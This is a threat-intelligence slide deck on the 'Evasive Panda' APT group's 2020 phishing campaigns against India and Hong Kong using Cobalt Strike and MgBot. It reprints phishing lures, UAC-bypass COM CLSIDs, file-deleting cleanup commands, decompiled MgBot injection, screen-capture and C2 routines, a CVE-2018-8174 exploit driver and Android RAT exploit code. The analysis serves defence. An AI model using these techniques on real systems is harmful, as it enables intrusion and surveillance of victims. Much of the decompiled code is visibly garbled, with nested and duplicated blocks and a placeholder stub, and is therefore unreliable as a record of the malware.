Evasive Panda

A new Chinese APT “Evasive Panda” group targets India and Hong Kong using a variant of MgBot malware

By Hossein Jazi and Jérôme Segura
September 2020
Hossein Jazi
Senior Threat Intelligence Analyst

Special interest in tracking APT campaigns

Twitter: @h2jazi
Jérôme Segura
Director Threat Intelligence

Special interest in web threats

Twitter: @jeromesegura
Agenda

**Introduction**
Discovery

**Campaign Analysis**
Analysis of discovered campaign

**Attribution**
Tracking and Attribution

**TTPs and Toolsets**
Overview of TTPs and tools

**Conclusion**
July 2\textsuperscript{nd}:
  – Found the first mal doc dropping Cobalt Strike

July 3\textsuperscript{rd}:
  – Same document dropped MgBot

July 5\textsuperscript{th}:
  – New mal doc dropped MgBot

Discovery

Mail security check
Recently, we found that some of the email addresses of @gov.in have security problems, and some of the emails have been leaked. Please all users of @gov.in to complete the security check of emails before 2020-7-5. Thank you for your cooperation.

Indian Government Information Security Center

Boris Johnson Pledges to Admit 3 Million From Hong Kong to U.K.
The promise, in reaction to a new security law China is trying to impose on the semi-autonomous city, a former British colony, would sharply raise the stakes in a developing standoff.

LONDON — Prime Minister Boris Johnson raised the stakes in a brewing confrontation with China on Wednesday, promising to allow nearly three million people from Hong Kong to live and work in Britain if Beijing moves forward with a new national security law on the former British colony.

Mr. Johnson’s offer, made in a column in The Times of London, opens the door to a significant influx of people fleeing Hong Kong, should the situation in the territory deteriorate further. But it leaves unanswered thorny questions about how difficult it would be for these arrivals to obtain British citizenship.

Describing it as one of the biggest changes in visa regulations in British history, Mr. Johnson said the roughly 350,000 Hong Kong residents who hold a British overseas passport, as well as some 2.5 million who are eligible to apply for one, would be granted 12-month renewable visas that would allow them to work in Britain and put them on a path to citizenship.

“Many people in Hong Kong fear that their way of life — which China pledged to uphold — is under threat,” Mr. Johnson wrote. “If China proceeds to justify...”
Campaign Analysis
Targeting Hong Kong and India
Variant 1: Cobalt Strike

Mail security check

Recently, we found that some of the email addresses of @gov.in have security problems, and some of the emails have been leaked. Please all users of @gov.in to complete the security check of emails before 2020-7-5. Thank you for your cooperation.

Indian Government Information Security Center
Variant 1: Cobalt Strike

Malicious document injecting Cobalt Strike into Rundll32.exe
Variant 1: Cobalt Strike

Injects CobaltStrike into rundll32.exe using reflective DLL injection

• Remote template: Dynamic Data Exchange
Variant 1: Cobalt Strike (cont.)

- Squiblydoo (MITRE T1218)
- Payload injection
Variant 2: MgBot

Boris Johnson Pledges to Admit 3 Million From Hong Kong to U.K.

The promise, in reaction to a new security law China is trying to impose on the semiautonomous city, a former British colony, would sharply raise the stakes in a developing standoff.

LONDON — Prime Minister Boris Johnson raised the stakes in a brewing confrontation with China on Wednesday, promising to allow nearly three million people from Hong Kong to live and work in Britain if Beijing moves forward with a new national security law on the former British colony.

Mr. Johnson’s offer, made in a column in The Times of London, opens the door to a significant influx of people fleeing Hong Kong, should the situation in the territory deteriorate further. But it leaves unanswered thorny questions about how difficult it would be for these arrivals to obtain British citizenship.

Describing it as one of the biggest changes in visa regulations in British history, Mr. Johnson said the roughly 350,000 Hong Kong residents who hold a British overseas passport, as well as some 2.5 million who are eligible to apply for one, would be granted 12-month renewable visas that would allow them to work in Britain and put them on a path to citizenship.

“Many people in Hong Kong fear that their way of life — which China pledged to uphold — is under threat,” Mr. Johnson wrote. “If China proceeds to justify
Variant 2: MgBot

Malicious document dropping a new variant of MgBot
Dropping new variant of MgBot

Variant 2: MgBot

Malicious document: Template Injection
Remote template: Dynamic Data Exchange

```c
#include <stdio.h>

int main() {
    // Code for MgBot variant
    return 0;
}
```

Recently, we found that some of the email addresses of .gov.in have security problems, and some of the emails have been leaked. Please all users of .gov.in to complete the security check of emails before 2020-7-3. Thank you for your cooperation.
Loader
Privilege Escalation - UAC Bypass

- Auto-elevated COM interface

<table>
<thead>
<tr>
<th>Name</th>
<th>CLSID</th>
<th>DLL</th>
</tr>
</thead>
<tbody>
<tr>
<td>CMSTPLUA</td>
<td>{3E5FC7F9-9A51-4367-9063-A120244FBEC7}</td>
<td>system32\cmstplua.dll</td>
</tr>
<tr>
<td>Color Management</td>
<td>{D2E7041B-2927-42fb-8E9F-7CE93B6DC937}</td>
<td>system32\colorui.dll</td>
</tr>
</tbody>
</table>

- COM interface IARPUninstallStringLauncher (Appwiz.cpl)
  - Uses windows uninstall interface to bypass UAC
Anti-Analysis

- Self-modification
- VM detection
- AV detection
Resolve API calls

- builds a function pointer table
Process

- Calls `CreateFileW` to create `iot7D6E.tmp`
- Calls `WriteFile` to populate its content
- Calls `CreateProcessInternalW` to invoke `expand.exe`
- Calls `CopyFileW` to copy `tmp.dat` into `pMsrvd.dll`
- Calls `DeleteFileW` to delete `tmp.dat`
- Drops `DBEngin.EXE` and `WUAUCTL.EXE` in
- Modifies the registry hive of
  `HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt`
APP management

- svchost.exe -k netsvcs -p -s AppMgmt
- svchost.exe -k netsvcs
- svchost.exe -k imgsvc

- Net start AppMgmt
- net start StiSvc
Clean up

- Change codepage (1252 – Windows Western)
- Ping 127.0.0.1 –n 5 -> Wait for 5 seconds
- Delete

```
chcp 1252
ping 127.0.0.1 -n 5
NUL
del /F /Q "C:\Users\Lab\Desktop\ff.exe"
del /F /Q "C:\Users\Lab\AppData\Local\Temp\lgt7D4.tmp.cmd"
```
Final payload

pMsrvd.dll (VideoTeam.dll)
Final Payload

- C2 communications
- Screen capture
- File and directory management
- Process management
- Get drive type
  - FAT, FAT32, NTFS, CDFS
  - Free space

### Table 1: Exported Functions

<table>
<thead>
<tr>
<th>Offset</th>
<th>Ordinal</th>
<th>Function RVA</th>
<th>Name RVA</th>
<th>Name</th>
<th>Forwarder</th>
</tr>
</thead>
<tbody>
<tr>
<td>9EAB8</td>
<td>2</td>
<td>2190</td>
<td>9F73D</td>
<td>VideoDesktop</td>
<td></td>
</tr>
<tr>
<td>9EABC</td>
<td>3</td>
<td>2180</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>9EAC0</td>
<td>4</td>
<td>0</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>9EAC4</td>
<td>5</td>
<td>1D70</td>
<td>9F726</td>
<td>TeamGroup</td>
<td></td>
</tr>
<tr>
<td>9EAC8</td>
<td>6</td>
<td>2320</td>
<td>9F74A</td>
<td>VideoLoadImage</td>
<td></td>
</tr>
<tr>
<td>9EACC</td>
<td>7</td>
<td>21D0</td>
<td>9F712</td>
<td>OpenUty</td>
<td></td>
</tr>
<tr>
<td>9EAD0</td>
<td>8</td>
<td>0</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>9EAD4</td>
<td>9</td>
<td>0</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>9EAD8</td>
<td>A</td>
<td>23B0</td>
<td>9F71A</td>
<td>ServiceMain</td>
<td></td>
</tr>
<tr>
<td>9EADC</td>
<td>B</td>
<td>21C0</td>
<td>9F730</td>
<td>TeamUsersAdd</td>
<td></td>
</tr>
</tbody>
</table>
String obfuscation

Malwarebytes
signed int fill_functions()
{

v4 = operator new(4u);
v3 = v4;
v30 = 0;
if ( v4 )
  *v4 = operator new(1u);
else
  v4 = 0;
v30 = -1;
fill_functions();
if ( v4 )

sub_1001FDD8();
sub_1001FC68(04);
void v6 = loadLibraryW(L"libFileName");
memset(L"libFileName", 0, 0xAU);
if ( !v6 )
  return 0;
sub_1001FD48(1);
sub_1001FD48(3);
sub_1001FD48(3);
sub_1001FD48(4);
sub_1001FD48(5);
sub_1001FD48(6);
sub_1001FD48(7);
sub_1001FD48(8);
sub_1001FD48(9);
sub_1001FD48(10);
sub_1001FD48(11);
sub_1001FD48(217);
sub_1001FD48(238);
sub_1001FD48(239);
sub_1001FD48(240);

MODULE v0; // edi
MODULE v1; // edi
MODULE v2; // edi
MODULE v3; // edi
MODULE v4; // edi
MODULE hModule; // [esp+Ch] [ebp-4h]
MODULE hModuleName; // [esp+Ch] [ebp-4h]
MODULE hModuleName; // [esp+Ch] [ebp-4h]
MODULE hModuleName; // [esp+Ch] [ebp-4h]
MODULE hModuleName; // [esp+Ch] [ebp-4h]
MODULE hModuleName; // [esp+Ch] [ebp-4h]
MODULE hModuleName; // [esp+Ch] [ebp-4h]
MODULE hModuleName; // [esp+Ch] [ebp-4h]
sub_1001FD68();
\n
void *v1; // esi
__int64 v3; // [esp+8h] [ebp-ch]
decode_strings(&encBuffer[16 * offset], 0xAU, &out_buf + 56 * offset, &v1);
j_free(v1);
return 1;
}
API Calls
void __cdecl ServiceMain(int a1, LPCWSTR *a2)
{
    SERVICE_STATUS_HANDLE v2; // eax

    hServiceStatus = 0;
    if (a1)
    {
        v2 = RegisterServiceCtrlHandlerExW(*a2, HandlerProc, 0);
        *ServiceStatus.dwServiceSpecificExitCode = 0164;
        hServiceStatus = v2;
        ServiceStatus.dwWaitHint = 0;
        ServiceStatus.dwControlsAccepted = 192;
        ServiceStatus.dwCurrentState = 4;
        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCheckpoint = 0;
        ServiceStatus.dwServiceType = 48;
        SetServiceStatus(v2, &ServiceStatus);
        while (1)
        {
            WaitForSingleObject(hHandle, 0xFFFFFFFF);
            Sleep(0x2710u);
        }
    }
}
Screen Capture

```c
DWORD __stdcall get_jpg_encoder(int a1)
{
    const unsigned __int16 *v1; // ebx
    const wchar_t *v2; // ecx
    wchar_t v3; // ax
    size_t v4; // esi
    const unsigned __int16 *v5; // eax
    unsigned int i; // esi
    int v7; // edi
    int v8; // eax
    int v9; // esi
    unsigned __int16 *v11; // [esp+10h] [ebp-20h]
    size_t v12; // [esp+10h] [ebp-20h]
    int v13; // [esp+10h] [ebp-1ch]
    CRITICAL_SECTION ms_exc; // [esp+20h] [ebp-1ch]

    v13 = 0;
    v12 = 0;
    v1 = 0;
    v11 = operator new(0x280u);
    ms_exc.registration.TryLevel = 0;
    v2 = L"image\0jpg";
    do
    {
        v3 = v2;
        *(v3 + v11 - L"image\0jpg") = *v2;
        v2 += 1;
        while (v3);
        GdiGetImageEncodersSize(v2, &v13, &v12);
        if (v12)
        {
            v5 = malloc(v12);
            v6 = v5;
            if (v5)
            {
                GdiGetImageEncoders(v13, v4, v5);
                for (i = 0; i < v13; i++)
                {
                    v7 = 19 * i;
                    v8 = wcsscmp(v7[19 * i + 12], v11);
                    if (v8)
                        v8 = -(v8 < 0) | 1;
                }
                __intcall to_screen_capture_and_inject(LPVOID lpThreadParameter)
                {
                    void **v1; // esi
                    DWORD **v2; // ecx
                    int v3; // ecx
                    DWORD **func; // edi
                    int v5; // ecx
                    __m128i v6; // xmm
                    char v9; // [esp+10h] [ebp-20h]
                    int v9; // [esp+2ch] [ebp-4h]
                    if (!dword_18002820)
                    {
                        v1 = operator new(4u);
                        v9 = 0;
                        if (v1)
                        {
                            v1 = operator new(1u);
                            else
                            {
                                v1 = 0;
                                sub_10021230();
                                v2 = operator new(0x780u);
                                v9 = 1;
                                if (v2)
                                {
                                    func = __intcall to_screen_capture
                                      (v2, v3);
                                    func = 0;
                                }
                            }
                            v5 = get_jpg_encoder(0);
                            v6 = _mm_loadl_epi64((v5 + 8));
                            _mm_storel_epi64((func + 457), _mm_loadl_epi64(v6));
                            _mm_storel_epi64((func + 459), v6);
                            make_injections(func);
                            (**func)(func, 1);
                        }
                    }
                    dword_18002820 = 1;
                    return v2;
                }
            }
            __m128i v6;
            // xmm
            char v9; // [esp+10h] [ebp-20h]
            int v9; // [esp+2ch] [ebp-4h]
            if (!dword_18002820)
            {
                v1 = operator new(1u);
                v9 = 0;
                if (v1)
                {
                    v1 = operator new(1u);
                    else
                    {
                        v1 = 0;
                        memset(v1 + 0x780u);
                        v9 = 1;
                        if (v2)
                        {
                            func = __intcall to_screen_capture
                              (v2, v3);
                            func = 0;
                        }
                    }
                    v5 = get_jpg_encoder(0);
                    v6 = _mm_loadl_epi64((v5 + 8));
                    _mm_storel_epi64((func + 457), _mm_loadl_epi64(v6));
                    _mm_storel_epi64((func + 459), v6);
                    make_injections(func);
                    (**func)(func, 1);
                }
            }
        }
    }
    return 0;
}
```
Injection

```c
char find_process_and_inject()
{
    void *v0; // edi
    void *mod_name; // esi
    int process_id; // eax

    v0 = operator new(1u);
    mod_name = operator new(0x404u);
    if ( mod_name )
    {
        *(mod_name + 256) = operator new(1u);
        GetModuleFileNameA_0(hModule, mod_name, 0x4000u);
    }
    else
    {
        mod_name = 0;
    }

    decode_strings_at_pos2(33);
    adjust_process_privilege();
    process_id = find_process(_kern100Ed8c8);
    if ( process_id )
    {
        make_remote_dll_injection(mod_name, process_id);
        if ( mod_name )
        {
            if ( *(mod_name + 256) )
            {
                j_free(*mod_name + 256);
                *(mod_name + 256) = 0;
            }
            j_free(mod_name);
        }
    }

    if ( v0 )
    {
        j_free(v0);
        return 0;
    }
}
```
C2 Communications

if ( _to_init_socket_c2_communicate(v26, ppResult->ai_addr, ppResult->ai_addrlen) != -1 ) {
    lstrcpy(byte_10082238, name);
    _itoa(v23, byte_100820E8, 10);
    lstrcpy(&qword_100820C8, v35);
    v27 = 0;
    do {
        byte_10082238[v27] ^= 0x58u;
        ++v27;
    } while ( v27 < 0x104 );
    v28 = 0;
    do {
        byte_100820E8[v28] ^= 0x58u;
        ++v28;
    } while ( v28 < 0x104 );
    v29 = 0;
    do {
        *((_BYTE *)&qword_100820C8 + v29++) ^= 0x58u;
    } while ( v29 < 0x14 );
    v1[5] = v26;
    if ( (unsigned __int8)sub_10023460(v1) == 1 ) {
        v12 = name;
        dword_100820E4 = v26;
        goto LABEL_19;
    }
}
Attribution

Evasive Panda
Attribution

- TTPs
- Document contents
- Past campaigns
- Toolsets
Evasive Panda- Campaigns history

- Needle in haystack CVE-2012-0158
- Identified several variant of KsRemote Android Rat
- CVE-2018-8174
    - Identified several different variants of MgBot
- Identified several variant of KsRemote Android Rat
- Identified several new variants of MgBot
- Distributed several MgBot pretended to be legit AV related files and other applications such as Google Chrome
- Target India and Hong Kong
- Template injection, DDE
- Use of Covid19 pandemic to distribute MgBot

- "list of texts and videos regarding the current situation of workers during the pandemic"
- Target: Hong Kong, Taiwan, and Malaysia
## TTPs

<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
</tr>
</thead>
<tbody>
<tr>
<td>Phishing</td>
<td>Command line interface</td>
<td>New service</td>
<td>Windows service</td>
<td>File deletion</td>
</tr>
<tr>
<td>Execution through module load</td>
<td>Modify existing services</td>
<td></td>
<td>Bypass UAC</td>
<td>Run32.dll</td>
</tr>
<tr>
<td>Rundll32</td>
<td></td>
<td></td>
<td>Bypass UAC</td>
<td></td>
</tr>
<tr>
<td>Scripting</td>
<td></td>
<td></td>
<td>Virtualization/Sandbox evasion</td>
<td></td>
</tr>
<tr>
<td>Service execution</td>
<td></td>
<td></td>
<td>Template injection</td>
<td></td>
</tr>
<tr>
<td>Mshta</td>
<td></td>
<td></td>
<td>Signed Binary Proxy Execution</td>
<td></td>
</tr>
<tr>
<td>PowerShell</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Inter-Process communication</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
## TTPs

<table>
<thead>
<tr>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>C&amp;C</th>
<th>Collection</th>
<th>Exfiltration</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>Query Registry</td>
<td>Remote File Copy</td>
<td>Application Layer Protocol</td>
<td>Screen Capture</td>
<td>Automatic Exfiltration</td>
<td></td>
</tr>
<tr>
<td>System Information Discovery</td>
<td></td>
<td>Non-Standard Ports</td>
<td></td>
<td>Exfiltration Over C2 Channel</td>
<td></td>
</tr>
<tr>
<td>System Service Discovery</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

*Table showing various TTPs including Discovery, Lateral Movement, C&C, Collection, Exfiltration, and Impact.*
Evasive Panda

• Initial infection vector
  – Documents
    • Template injection
    • Exploit vulnerabilities (CVE-2012-0158)
  – Archive file
  – VB script vulnerability (CVE-2018-8174)

• Toolsets
  – MgBot
  – KsRemote Android Rat
  – Cobalt Strike
One of the most exploited vulnerabilities at its time

Buffer overflow vulnerability in the ListView / TreeView ActiveX controls in the MSCOMCTL.OCX library.

Binary data appended to the end of the Word file.

CVE-2012-0158
Remote code execution vulnerability of Windows VBScript engine

```
Sub StartExploit
  UAF
  InitObjects
  VB_addr=leaKVBAddr()
  vbs_base=GetBaseByDOSnakeSearch(GetUInt32(vb_addr))
  msv_base=GetBaseFromImport(vbs_base,"msvcr1.d1l")
  krb_base=GetBaseFromImport(msv_base,"kernelbase.d1l")
  ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
  VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
  NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
  SetMemValue GetShellcode()
  ShellcodeAddr=GetMemValue()+8
  SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
  lllll=GetMemValue()+89596
  SetMemValue ExpandWithVirtualProtect(llllll)
  llllll=GetMemValue()
  ExecuteShellcode
End Sub
```

CVE-2018-8174
Infrastructure
KsRemote Android Rat
KsRemote Android Rat

Copy the following files to system directory:
- injector
- libhook.so
- libhookjava.so
- ksremote.jar
- libshutdown.so
public Handler mExploitHandler = new Handler() {
    public void handleMessage(Message msg) {
        super.handleMessage(msg);
        switch (msg.what) {
            case 0:
                Log.d("Exploit", "EXPLOIT_RUNNING");
                WS.this.startRecvExploitResultThread();
                return;
            case 1:
                Log.d("Exploit", "EXPLOIT_FAILED");
                ExecuteUtil.init(WS.this.mContext);
                WS.isExploitEnd = true;
                return;
            case 2:
                Log.d("Exploit", "EXPLOIT_SUCCESS");
                WS.isExploitSuccess = true;
                ExecuteUtil.init(WS.this.mContext);
                WS.isExploitEnd = true;
                WS.this.doRootWork();
                return;
            default:
                return;
        }
    }
}

private void startExploit() {
    new Thread(new Runnable() {
        public void run() {
            WS.this.mExploitHandler.sendMessage(GsmService.gsmservice_start(WS.this.getDataDir(), WS.this.getDataDir() + "/lib/gsmsgservice_jni.so", WS.this.mContext.getPackageName() + WS.CSERVICE_NAME, WS.this.getImei()));
        }
    }).start();
}
KsRemote Android Rat

- Recording screen and audio using the phone’s camera/mic
- Locating phone with coordinates
- Stealing phone contacts, call log, SMS, web history
- Sending SMS messages
Conclusion

• Uncovered a new Chinese APT group that has been active at least since 2012
• Targets: Hong Kong, Taiwan, India and Malaysia
• Initial infection vector: Spear phishing
• Main tool: MgBot
• Capable of targeting Android users
Questions?